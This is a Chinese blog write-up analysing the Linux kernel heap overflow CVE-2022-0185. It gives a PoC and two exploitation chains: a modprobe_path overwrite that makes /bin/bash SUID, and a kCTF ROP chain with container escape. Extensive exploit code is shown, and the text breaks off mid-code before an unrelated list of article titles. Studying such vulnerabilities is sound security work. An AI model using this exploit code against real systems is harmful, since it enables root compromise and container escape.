文章目录

  • 1. 漏洞发现
  • 2. 漏洞分析
  • 3. 漏洞利用方法1—任意写篡改 `modprobe_path`
    • 3-1 泄露内核基址
    • 3-2 任意地址写思路
    • 3-3 FUSE 页错误处理
    • 3-4 完整利用
    • 3-5 改进exploit
  • 4. 漏洞利用方法2—KCTF 提权
      • 4-1 泄露堆地址
      • 4-2 篡改 `pipe_buffer->ops`
      • 4-3 ROP 构造并提权
      • 4-4 改进exploit
    • 参考

本漏洞作者在kctf环境上成功完成了提权和逃逸,并获得了 google kCTF vulnerability reward program 项目奖励的 31,337 美金的奖励(该项目对能从有 nsjail 沙箱的Linux内核提权,奖励31,337 到 91,337 美元,由于syzbot平台上有人比作者早6天先发现了这个漏洞,作者并非首次发现该漏洞,只是完成了kctf提权,便获得了最低奖金)。

影响版本:Linux-v5.1~v5.16.2。5.1-rc1 引入漏洞,Linux-v5.16.2已修补 ,由syzkaller发现。评分8.4分

测试版本:Linux-5.16.1(失败,msg_msg 和漏洞对象位于不同cache) Linux-5.11.22(成功) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_CHECKPOINT_RESTORE, CONFIG_USER_NS, CONFIG_FUSE, CONFIG_SYSVIPC, CONFIG_USERFAULTFD

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.1.tar.xz
$ tar -xvf linux-5.16.1.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:内核的 File System Context 模块(文件系统环境)的fs/fs_context.c文件中存在整数溢出导致堆溢出。攻击者必须具备 CAP_SYS_ADMIN 权限,或者使用命名空间或者使用unshare(CLONE_NEWNS|CLONE_NEWUSER) (等同于命令$ unshare -Urm)来进入含有CAP_SYS_ADMIN权限的命名空间。docker中默认没有CAP_SYS_ADMIN权限(启用容器时需使用 “-privileged” 选项),且docker的seccomp过滤会默认拦截 unshare 命令,所以docker中无法利用;但是 Kubernetes 集群在使用docker时,seccomp 过滤默认是禁用的,可以提权和逃逸。

补丁:patch

diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)param->key);}-  if (len > PAGE_SIZE - 2 - size)
+  if (size + len + 2 > PAGE_SIZE)return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') ||(param->type == fs_value_is_string &&

保护机制:KASLR / SMEP / SMAP / KPTI。

利用总结

方法一:两次触发漏洞。缺点是一般普通用户的话,FUSE不一定可用。

  • (1)先利用溢出修改 msg_msg->m_ts 泄露内核基址(越界读取 kmalloc-32 中的 seq_operations 结构);
  • (2)再利用FUSE 用户页错误处理 和溢出篡改 msg_msg->next 实现任意地址写,篡改 modprobe_path 提权。

方法二:缺点是需要三次触发漏洞,堆喷不稳定。

  • (1)先利用溢出修改 msg_msg->m_ts 泄露内核基址(越界读取 kmalloc-32 中的 seq_operations 结构);
  • (2)泄露堆地址:构造queue1中 kmalloc-4k <-> kmalloc-64,queue2中 kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 。触发溢出漏洞,改大 kmalloc-4k 中的 msg_msg->m_ts 来越界读取 msg->m_list.next & prev,也即 kmalloc-1024 和 kmalloc-512 的地址;
    • pipe_buffer 占据 kmalloc-1024;
    • kmalloc-512 上布置 stack pivot gadget (伪造 pipe_buffer->ops 函数表);
  • (3)触发溢出修改 msg_msg->next = &kmalloc-1024 - 0x30,构造任意释放,利用 msg_msg 堆喷伪造 pipe_buffer->ops 并布置 ROP chain 提权。

1. 漏洞发现

syzkaller报错:通过syzkaller发现一个报错。

BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569
Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:legacy_parse_param+0x450/0x640 fs/fs_context.c:569vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265__do_sys_fsconfig fs/fsopen.c:439 [inline]
[ ... ]
The buggy address belongs to the object at ffff88802d7d8000which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of4096-byte region [ffff88802d7d8000, ffff88802d7d9000)

漏洞对象位于 kmalloc-4096,legacy_parse_param() 函数导致OOB write,syzkaller生成了一个poC:

#define _GNU_SOURCE #include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
uint64_t r[1] = {0xffffffffffffffff};
int main(void) {syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);intptr_t res = 0;memcpy((void*)0x20000000, "9p\000", 3);res = syscall(__NR_fsopen, 0x20000000ul, 0ul);if (res != -1)r[0] = res;memcpy((void*)0x20001c00, "\000\000\344]\233", 5);memcpy((void*)0x20000540, "<long string>", 641);syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);int i;for(i = 0; i < 64; i++) {syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);}memset((void*)0x20000040, 0, 1);memcpy((void*)0x20000800, "<long string>", 641);syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);for(i = 0; i < 64; i++) {syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);}return 0;
}

PoC美化:这段PoC看上去很难理解,还包含一些无关的调用,只能通过人工分析来去除无关代码。例如,mmap映射了很多区域,但只用到了0x20000000ul,所以可以去掉无关的mmap调用;uint64_t r[1] = {0xffffffffffffffff}; 实际上就是 int r = -1;还要将地址转化为变量或常量,有的调用 memcpy()9P 字符串拷贝到buffer并将该buffer传给syscall,实际上我们可以直接传字符串即可,不需要这么复杂,最终转化为以下代码:

int r = -1;
int main(void) {int res = 0;res = syscall(__NR_fsopen, "9p", 0ul);if (res != -1)r = res;
}

经过很多分析,对比input和相关内核函数,最终生成一个简化的PoC:调用 fsconfig 需传入 FSCONFIG_SET_STRING 和两个字符串 key / value,value必须以NULL结尾,最后一个参数必须为0

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void) { char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";int fd = 0;fd = fsopen("9p", 0);for (int i = 0; i < 130; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);}
}

2. 漏洞分析

漏洞函数调用路径:__x64_sys_fsconfig() -> vfs_fsconfig_locked() -> vfs_parse_fs_param() -> legacy_parse_param()

注意 vfs_parse_fs_param() 中函数指针定义在 legacy_fs_context_ops 函数表中,在 alloc_fs_context() 函数中完成filesystem context 结构的分配和初始化。

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {struct legacy_fs_context *ctx = fc->fs_private;    // [1] ctx 与文件描述符相关unsigned int size = ctx->data_size;              // [2] size —— 目前已经写入 buffer 的长度size_t len = 0;int ret;[ ... ]switch (param->type) {case fs_value_is_string:len = 1 + param->size;                     // [3] len = strlen(key) + 1 + strlen(value) 将要写入的长度, 对应到 mount option string key=valuecase fs_value_is_flag:len += strlen(param->key);break;default:return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);}if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 边界检查, 避免溢出[ ... ]if (!ctx->legacy_data) {ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);    // [5] 首次分配 4096 字节缓冲区if (!ctx->legacy_data) return -ENOMEM;}ctx->legacy_data[size++] = ',';                 // [6] 开始往 buffer 写数据, 先写个逗号, 再写 key, 再写 等号, 再写 value, 最后结尾写 NULL, 保存新的sizelen = strlen(param->key);memcpy(ctx->legacy_data + size, param->key, len);size += len;if (param->type == fs_value_is_string) {ctx->legacy_data[size++] = '=';memcpy(ctx->legacy_data + size, param->string, param->size);size += param->size;}ctx->legacy_data[size] = '\0';ctx->data_size = size;ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;return 0;
}

9p / ext4 触发fsopen() 打开一个文件系统环境,用户可以用来mount新的文件系统。 9p (the Plan 9 filesystem)是一种文件系统,能触发本文漏洞,Linux中常用的ext4文件系统也能触发本漏洞(本文就是利用ext4来触发漏洞)。fsconfig() 调用能让我们往ctx->legacy_data 写入一个新的 (key,value)ctx->legacy_data 指向一个 4096 字节的缓冲区(在首次配置文件系统时就进行分配)。

漏洞分析[4]len > PAGE_SIZE-2-size, len是将要写的长度,PAGE_SIZE == 4096 ,size 是已写的长度,2字节表示一个逗号和一个NULL终止符。 问题在于采用减法来进行检查,size是unsigned int (总是被当做正值),会导致整数溢出,如果相减的结果小于0,还是会被包装成一个正值。 如果117次添加长度为0的key和长度为33的value,最终的size则为(117*(33+2)) == 4095,这样PAGE_SIZE-2-size == -1 == 18446744073709551615 ,这样无论len多大都能满足条件。key设置为 \x00,这样逗号会写入偏移4095,等号写入下一个kmalloc-4096的偏移0处,接着就能往偏移1处开始往后写value。

漏洞限制:key和value都是string类型,会产生\x00截断。可以采用value来伪造 msg_msg->m_ts;只有采用key来伪造msg_msg->m_list.next。因为 value 只能从邻近堆块(kmalloc-4096)的偏移1处开始覆盖,因为第1个逗号 , 会写在漏洞对象的偏移 4095,等号会写在邻近堆块的偏移0处,所以如果要正确伪造 msg_msg->m_list.next,则只能利用key来传值。


3. 漏洞利用方法1—任意写篡改 modprobe_path

3-1 泄露内核基址

泄露内核基址:喷射大量 seq_operations —— open(“/proc/self/stat”, O_RDONLY) ,溢出篡改 msg_msg->m_ts 泄露地址。具体步骤如下。

  • (1)准备 fs_context 漏洞对象;
  • (2)往 kmalloc-32 喷射 seq_operations 对象;
  • (3)喷射 msg_msg 消息 (大小为 0xfe8),会将辅助消息分配在 kmalloc-32;
  • (4)触发 kmalloc-4096 溢出,篡改 msg_msg->m_ts
  • (5)利用 msg_msg 越界读。泄露内核指针。
void *do_kaslr_leak () {uint64_t kbase = 0;char pat[0x30] = {0};char buffer[0x2000] = {0}, received[0x2000] = {0};msg *message = (msg *)buffer;int size = 0x1018;int targets[K_SPRAY] = {0};int i;// Spray queues/messagesfor (i = 0; i < K_SPRAY; i++) {memset(buffer, 0x41+i, sizeof(buffer));targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);send_msg(targets[i], message, size - 0x30, 0);}// Spray function pointersfor (int i = 0; i < 100; i++) {open("/proc/self/stat", O_RDONLY);}get_msg(targets[0], received, size - 0x30, 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);memset(pat, 0x42, sizeof(pat));pat[sizeof(pat)-1] = '\x00';fd = fsopen("ext4", 0);if (fd < 0) {exit(-1);}strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");for (int i = 0; i < 117; i++) {fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);}// Corrupt the size field to 0x1060char tiny[] = "DDDDDDD";char tiny_evil[] = "DDDDDD\x60\x10";fsconfig(fd, FSCONFIG_SET_STRING, "CCCCCCCC", tiny, 0);fsconfig(fd, FSCONFIG_SET_STRING, "\x00", tiny_evil, 0);size = 0x1060;for (int i = 0; i < K_SPRAY; i++) {get_msg(targets[i], received, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);// Check for valid kernel pointer and aligned basekbase = do_check_leak(received);if (kbase) {return (void*)kbase;}}puts("[X] No leaks, trying again");close(fd);return 0;
}

3-2 任意地址写思路

任意写:利用竞争条件。

  • (1)分配第1个消息块;
  • (2)拷贝第1个消息,触发页错误暂停;
  • (3)分配第2个消息块;
  • (4)覆盖第1个消息的next指针;
  • (5)我们的数据被拷贝到next指针指向的地址。

我们要确保(4)发生在(5)之前,可以用 userfaultfd,但是5.11版本以后就无法在用户层处理内核层的页错误了;还有种方法是利用FUSE。

3-3 FUSE 页错误处理

FUSE简介:内核允许用户实现自己的用户态文件系统(Filsystem in USErspace),有自己的read / write 系统调用,这样发生缺页时还是会回到用户态来处理中断。我们可以实现一个迷你的 FUSE 文件系统(通过和/dev/fuse交互),打开并调用mmap映射到内存,将返回地址传到内核,当内核尝试读取FUSE中的地址时,会调用我们定义的 read 处理函数,为了只在读第一个4096堆块数据之后触发页错误,我们将分配两块内存,第一块是常规内存,第2块是FUSE相关的。

问题:一是FUSE要求我们非特权用户能访问 /bin/fusermount,通过unshare能绕过该限制;二是用户需要写个 libfuse 库使 libfuse 函数正常工作,但是 libfuse 很难静态链接 (见 issue,因为依赖于 dl_open)作者直接移除了所有对 dl_open 的引用,并重新编译了 libfuse 库,这样FUSE技术就能应用于所有开启 CONFIG_FUSE 的内核了。

void *evil_page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
puts("[*] Preparing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0) {perror("evil fd failed");exit(-1);
}
if ((mmap(0x1338000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, evil_fd, 0)) != 0x1338000) {perror("mmap fail fuse 1");exit(-1);
}

3-4 完整利用

总体利用步骤

  • (1)打开pipe对,两个进程共享一块可发送数据的内存,可用于同步(保证篡改msg_msg->next 之后再处理用户页错误,继续拷贝以篡改 modprobe_path);
  • (2)在exp中fork出子进程用于运行FUSE,处理文件系统请求;
  • (3)泄露内核基址(见 3-1 地址泄露步骤);
  • (4)open/mmap evil file(将fusefd映射到地址0x1338000,这样msg copy 访问到该地址时触发页错误处理);
  • (5)准备堆溢出,调用 fsopenfsconfig
  • (6)创建子线程溢出覆盖 next 指针;
  • (7)同时,主线程触发 msg_send,让步于FUSE代码来处理页错误;
  • (8)FUSE在共享pipe上调用read,触发阻塞,直到有字节写入pipe;
  • (9)到这里,溢出线程写入pipe(表示 msg_msg->next 已被篡改),导致FUSE释放,线程将恶意数据拷贝到目标地址。

写目标modprobe_path

char *modprobe_win = "/tmp/w";
#define  SHELL  "/bin/bash"
[ ... ]
void modprobe_init() {int fd;[ ... ]char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";chmod(modprobe_trigger, 0777);fd = open(modprobe_win, O_RDWR | O_CREAT);if (fd < 0) {perror("winner creation failed");exit(-1);}write(fd, w, sizeof(w));close(fd);chmod(modprobe_win, 0777);return;
}

触发 modprobe_path:执行一个含未知字节的binary,内核就会利用modprobe去寻找一个module来加载该binary。

// 内核源码
do_execve return do_execveat_common(fd, filename, argv, envp, flags);
do_execveat_common retval = bprm_execve(bprm, fd, filename, flags);
bprm_execve retval = exec_binprm(bprm);
exec_binrpm ret = search_binary_handler(bprm);
search_binary_handler if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
request_module ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
call_modprobe
static int call_modprobe(char *module_name, int wait) {struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);module_name = kstrdup(module_name, GFP_KERNEL);argv[0] = modprobe_path; // <--- overwritten!argv[1] = "-q";argv[2] = "--";argv[3] = module_name;argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL);return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
}// exp 中代码
char *modprobe_trigger = "/tmp/root";
void modprobe_init() {int fd = open(modprobe_trigger, O_RDWR | O_CREAT);char root[] = "\xff\xff\xff\xff";write(fd, root, sizeof(root));close(fd);chmod(modprobe_trigger, 0777);[ ... ]
}
void modprobe_hax() {puts("[*] Attempting to trigger modprobe");execve(modprobe_trigger, NULL, NULL);
}
To finish up, we repeatedly attempt to trigger the overwrite and trigger modprobe_path. We can verify if it has succeeded by checking the permissions on /bin/bash:
while (1) {do_win();modprobe_hax();struct stat check;// Get permissions on filestat(SHELL, &check);if (check.st_mode & S_ISUID) {break;}
}
puts("[*] Exploit success! " SHELL " is SUID now!");
puts("[+] Popping shell");
execve(SHELL, root_argv, NULL);

问题:原作者的测试环境是Ubuntu-20.04,但在我编译的环境中(版本v5.16.1),堆喷非常不稳定,需要改善堆喷策略。我沿用了 CVE-2021-42008的策略还是不行,不能确保漏洞对象的后面跟着一个 kmalloc-4096 的 msg_msg ,发现 msg_msg 和漏洞对象总是位于不同的cache,很奇怪。希望有大佬能弄清为什么,玄学!

换了个版本 v5.11.22,偶然成功了一次(成功赋予了busybox s权限),调试后发现 msg_msg 和漏洞对象可以位于同一cache:

3-5 改进exploit

改进提权方式:原先只是给 /bin/su 加了个suid,现在直接提权。

改进堆喷策略:原先在篡改 msg_msg->next 时,每次尝试,都先申请1个漏洞对象,然后再申请1个 msg_msg 对象,很难碰撞到 msg_msg 恰好在漏洞对象后面的情况。现在我一次申请10个漏洞对象,然后再申请1个 msg_msg 对象,10次溢出总有一次能成功篡改 msg_msg->next 吧。果然,只要几次尝试就能成功篡改 modprobe_path

    for (int i = 0; i < 0xa; i++){fdv[i] = fsopen("ext4", 0);if (fdv[i] < 0) {puts("Opening");exit(-1);}for (int j = 0; j < 117; j++) fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0);}


4. 漏洞利用方法2—KCTF 提权

说明一下,作者用在KCTF环境上的提权方法,在普通系统上也能使用,我觉得这种方法更好一点,因为有些系统上不一定有userfault和fuse权限。

KCTF要求:有两种要求,一是kctf,在容器上提权并读取flag,二是fullchain,在容器上提权,逃逸到host,再读取另一个容器的flag。

KCTF难点

  • /dev 目录东西很少,FUSE和一些结构如 tty_struct 不能使用,userfault 也被禁用,有很多4k的对象,所以需要调整堆喷策略。
  • 另一个问题是 GFP_KERNEL_ACCOUNT flag,这个flag用于标记data来自用户层的对象,例如 msg_msg,5.9以前,内核会把这类对象放在单独的slab(前提是设置 CONFIG_MEMCG_KMEM 编译选项)。其实本文涉及到的legacy漏洞对象也应该用 accounting flag 进行标识,可能是开发者搞忘了,直到 commit for 5.16 才加上,这意味着在kctf这个 5.4 的老版本上不能使用 msg_msg 对象了,幸运的是kctf最近将内核更新到了 5.10,现在 msg_msg 对象可用了。(PS:Starlabs 团队的 n0psledbyte 曾在老版本的kctf环境上用 msg_msg 来实现 cross cache overflow,该策略可以参考 grsecurity 的这篇文章 —— article)

利用方法选择:由于环境限制,不能用 msg_msg 实现任意写了,现在可以采用 msg_msg 提供的 unlink 原语 或者 任意释放原语。最后打算篡改 pipe_buffer 的函数表指针指向某个 msg_msg chunk (参考 CVE-2021-22555 的方法)。

小trick:salt 工具便于调试内核堆。首先,调用set_affility() 绑定到一个CPU核上运行(因为每个CPU都有自己的freelist),以下策略是针对kCTF环境的:

  • 提前堆喷很多 msg_msg ,适时的释放部分 msg_msg 来利用;
  • fsconfig 溢出 msg_msg 之前,先分配4到7个 msg_msg(因为 kmalloc-4k slab中只有8个对象),再对其中一个 msg_msg 触发 MSG_COPY,会在copy时对同一slab进行分配和释放,这样就会在slab中产生一个hole,下一次分配legacy对象时就会占据这个hole。

4-1 泄露堆地址

堆地址泄露msg_queue 会把 msg_msg 以双链表串起来,可以分配两个queue,queue1中 kmalloc-4k <-> kmalloc-64,queue2中 kmalloc-1k <-> kmalloc-64 <-> kmalloc-512 ,利用 OOB read 来泄露 kmalloc-512 和 kmalloc-1k 对象的地址(也就是 kmalloc-64 的 msg_msg->m_list.next / prev),如下图所示:

利用堆溢出篡改 queue1 中 kmalloc-4k 的 msg_msg->m_ts 并采用 MSG_COPY 进行 OOB read

可以根据 msg_msg 包含的内容来判断泄露的地址属于哪一个 msg_queue,这样就能选择性的释放并喷射 pipe_buffer 对象占据 kmalloc-1k,在 kmalloc-512 上布置 stack pivot gadget。

以下代码可以泄露堆地址:

double_heap_leaks do_heap_leaks()
{uint64_t kmalloc_1024 = 0;uint64_t kmalloc_512 = 0;char pivot_spray[0x2000] = {0};uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;double_heap_leaks leaks = {0};int linked_msg[256] = {0};char pat[0x1000] = {0};char buffer[0x2000] = {0}, recieved[0x2000] = {0};msg *message = (msg *)buffer;// spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1k in unique msg queuesfor (int i = 0; i < 255; i++) {linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);memset(pivot_spray, 0x0, sizeof(pivot_spray));pivot_spray_ptr[0] = 1;for (int i = 0; i < 10;i ++){pivot_spray_ptr[i+1] = stack_pivot;}// spray pivots using kmalloc-512 allocationssend_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);memset(buffer, 0x1+i, sizeof(buffer));message->mtype = 2;send_msg(linked_msg[i], message, 0x40 - 0x30, 0);message->mtype = 3;send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);}int size = 0x1038;int targets[H_SPRAY] = {0};for (int i = 0; i < H_SPRAY; i++) {memset(buffer, 0x41+i, sizeof(buffer));targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);send_msg(targets[i], message, size - 0x30, 0);}// create hole hopefullyget_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);puts("[*] Opening ext4 filesystem");fd = fsopen("ext4", 0);if (fd < 0) {puts("fsopen: Remember to unshare");exit(-1);}strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");for (int i = 0; i < 117; i++) {fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);}// fill it a bit to help prevent potential crashes on MSG_COPYstuff_4k(16);puts("[*] Overflowing...");pat[21] = '\x00';char evil[] = "\x60\x19";fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);puts("[*] Done heap overflow");size = 0x1960;puts("[*] Receiving corrupted size and leak data");// go through all targets qids and check if we hopefully get a leakfor (int i = 0; i < H_SPRAY; i++) {get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++){uint64_t *dump = (uint64_t *)recieved;if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5]){kmalloc_1024 = dump[j-2];kmalloc_512 = dump[j-1];// delete chunk 1024, chunk 512 already has sprayed pivotsuint8_t target_idx = (dump[j+4] & 0xff) - 1;get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);// spray to replace with pipe_buffer, thanks LIFO!for (int k = 0; k < PIPES; k++){if (pipe(pipefd[k]) < 0){perror("pipe failed");exit(-1);}write(pipefd[k][1], "pwnage", 7);}break;}}if (kmalloc_1024 != 0){break;}}close(fd);if (!kmalloc_1024){puts("[X] No leaks, trying again");stuff_4k(16);return leaks;}leaks.kmalloc_1024_leak = kmalloc_1024;leaks.kmalloc_512_leak = kmalloc_512;return leaks;
}

有了这些信息,就能控制 pipe_buffer->ops

4-2 篡改 pipe_buffer->ops

方法一unlink:作者首先尝试了unlink attack,在 do_msgrcv() 中,不指定 MSG_COPY 就会执行 unlink operation ,直观来说就是执行 victim->prev->next = victim->nextvictim->next->prev = victim->prev,如果设置 victim->prev 指向 pipe_buffer->ops 的位置,设置victim->next 指向 kmalloc-512 内部(可控),这样就能将 pipe_buffer->ops 篡改指向伪造的函数表,unlink流程如下所示:

问题-unlink check:内核开启了 CONFIG_DEBUG_LIST ,会调用 __list_del_entry_valid() 对unlink进行检查,检查不通过则不会进行unlink(但还是会进行释放,原来的指针会被设置为 POISON 值)

bool __list_del_entry_valid(struct list_head *entry)
{struct list_head *prev, *next;prev = entry->prev;next = entry->next;if (CHECK_DATA_CORRUPTION(next == LIST_POISON1,"list_del corruption, %px->next is LIST_POISON1 (%px)\n",entry, LIST_POISON1) ||CHECK_DATA_CORRUPTION(prev == LIST_POISON2,"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",entry, LIST_POISON2) ||CHECK_DATA_CORRUPTION(prev->next != entry,"list_del corruption. prev->next should be %px, but was %px\n",entry, prev->next) ||CHECK_DATA_CORRUPTION(next->prev != entry,"list_del corruption. next->prev should be %px, but was %px\n",entry, next->prev))return false;return true;
}

方法二任意释放:但我们已经泄露了堆地址,即使unlink失败了也可以将链表指针改为有效的值,继续覆写 msg_msg->next 指针和 msg_msg->security 指针来构造任意释放。由于payload必须为有效的字符串,我们可以根据泄露的堆地址进行非对齐释放( msg_msg->next = &kmalloc-1k - 0x20 / msg_msg->security = &kmalloc-512 - 0x20 ,关键是释放前者,后者不重要),释放 &kmalloc-1k - 0x20 之后,再分配一个 kmalloc-1k 大小的 msg_msg 来篡改 pipe_buffer->ops 指向存放 stack pivot gadget 的地方,同时避免触发 hardened usercopy bound checks

4k msg_msg 的伪造流程如下:

接着,释放 4k msg_msg 并堆喷1k msg_msg 以篡改被释放的 pipe_buffer

4-3 ROP 构造并提权

ROP位置:关闭 pipefd 就能触发执行 stack pivot,但此时发现没有寄存器指向 kmalloc-512 内部,RAX指向 pipe_buffer 开头(kmalloc-1k),这意味着我们要在 pipe_buffer 上布置 ROP chain,我们的 stack pivot 需要将rsp改成rax。

可用的 gadget

  • mov rsp, rax ; pop rbp ; ret; —— stack pivot
  • pop rdi ; ret ;
  • pop rsi ; ret ;
  • test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ; —— rdi = rax

ROP构造:ROP链的目标是拥有root namespace 中的root权限,可直接利用 CVE-2021-22555 中的ROP chain来执行 commit_cred(prepare_kernel_cred(NULL))switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) ,最后调用 swapgs_and_return_to_userspace 返回用户空间,最后执行常规的容器逃逸步骤( setns tricks )。

以下代码能够提权和容器逃逸:

void dump_flag()
{char buf[200] = {0};for (int i = 0; i < 4194304; i++) {// bruteforce root namespace pid equivalent of the other container's sleep processsnprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);int fd = open(buf, O_RDONLY);if (fd < 0) {continue;}puts("												

CVE-2022-0185 价值$3w的 File System Context 内核整数溢出漏洞利用分析相关推荐

  1. 2022 *CTF REVERSE的Simple File System

    2022 *CTF REVERSE的Simple File System . . 下载附件,有四个文件: . . 照例扔入虚拟机中运行一下,查看主要回显信息: . . 照例扔入 IDA64 中查看伪代 ...

  2. 『Java CVE』CVE-2022-34169: Xalan-J XSLT整数截断漏洞PoC结构再浅析

    文章目录 前言 demo xslt 代码 xalan.xslt.Process.main 一句话简述原理 溢出PoC分析 *前置知识 class文件结构 常量池.常量池计数器.常量 Integer和U ...

  3. Bqq服务器的缓存文件放什么目录,如何使文件系统缓存失效? - How to invalidate the file system cache? - 开发者知识库...

    30 At least on Windows 7, it seems that attempting to open a volume handle without FILE_SHARE_WRITE ...

  4. 解决问题:chmod: changing permissions of ‘...‘: Read-only file system和/dev/sda1 is write-protected but ex

    我在Linux系统里想要改变系统权限时出现了报错: chmod: changing permissions of 'transmission-daemon/': Read-only file syst ...

  5. 转:经典论文翻译导读之《Google File System》

    首页 所有文章 资讯 Web 架构 基础技术 书籍 教程 Java小组 工具资源 - 导航条 -首页所有文章资讯Web架构基础技术书籍教程Java小组工具资源 经典论文翻译导读之<Google ...

  6. 名字就叫nfs-(network file system)

    一.简介   NFS(network file system)网络文件系统.通过网络让不同的主机系统之间可以实现文件或目录共享.分为客户端和服务器,NFS网络文件系统很像windows系统的网络共享. ...

  7. 13.19. File system test

    写写空文件 $ dd bs=1 seek=2TB if=/dev/null of=test $ time dd if=/dev/zero of=/srv/file bs=1M count=1000 写 ...

  8. Linux下出现Read-only file system的解决办法

    正常运行中的网站,忽然间出现session目录不可写,连接服务器一看,任何关于写硬盘的命令都不能用,提示Read-only file system,使用一条命令即可搞定此问题: mount -o re ...

  9. Linux文件系统只读Read-only file system的解决方法

    Linux文件系统只读Read-only file system的解决方法 参考文章: (1)Linux文件系统只读Read-only file system的解决方法 (2)https://www. ...

最新文章

  1. 初识CISCO_DHCP Server
  2. Java中swing和awt初了解
  3. Py之minepy:minepy的简介、安装、使用方法之详细攻略
  4. android--系统jar包引用
  5. go Template 使用{{ end -}}的坑
  6. 联想计算机如何设置用户名和密码,联想电脑怎样设密码?联想电脑设置密码方法步骤【图文】...
